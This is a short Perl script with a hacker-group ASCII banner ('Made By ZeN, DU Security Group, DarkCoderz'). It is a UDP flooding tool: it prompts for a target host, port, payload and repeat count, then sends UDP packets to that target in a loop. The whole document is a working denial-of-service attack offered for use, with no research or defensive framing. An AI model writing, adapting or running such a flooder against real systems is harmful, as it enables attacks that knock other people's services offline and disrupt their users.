UDP Flooder

#!/usr/bin/perl
use IO::Socket;
print q{
 __   __   ___     _____
|  | |  | |   \   |     |
|  | |  | | |\ \  |  -  |
|  | |  | | | | | |   __|
\  \_/  / | |/ /  |  |
 \_____/  |___/   |__|
 _________  __                     _
\_   _____/|  |   ____   ____   __| |
 |    __)  |  |  /  _ \ /  _ \ / __ | 
 |   |     |  |_(  <_> |  <_> ) /_/ | 
 \___|     |____/\____/ \____/\_____| 
                with data sending. 
 
Made By ZeN
DU Security Group
DarkCoderz
 
};
 
 
print "Host : ";
$serv = <stdin>;
chop ($serv);
 
print "Port : ";
$port = <stdin>;
chop ($port);
 
print "Data :";
$data = <stdin>;
chop($data);
 
print "Times To Flood : ";
$times = <stdin>;
chop ($times);
 
 
for ($i=0; $i<$times; $i++)
{
$flood = IO::Socket::INET->new( Proto => "udp", PeerAddr => "$serv", PeerPort => "$port") || print "[*] Server Down!\n";
print $flood $data;
syswrite STDOUT, "[*] Flooding - ".$i."\n";
}
 
print "[*] End of flood.\n";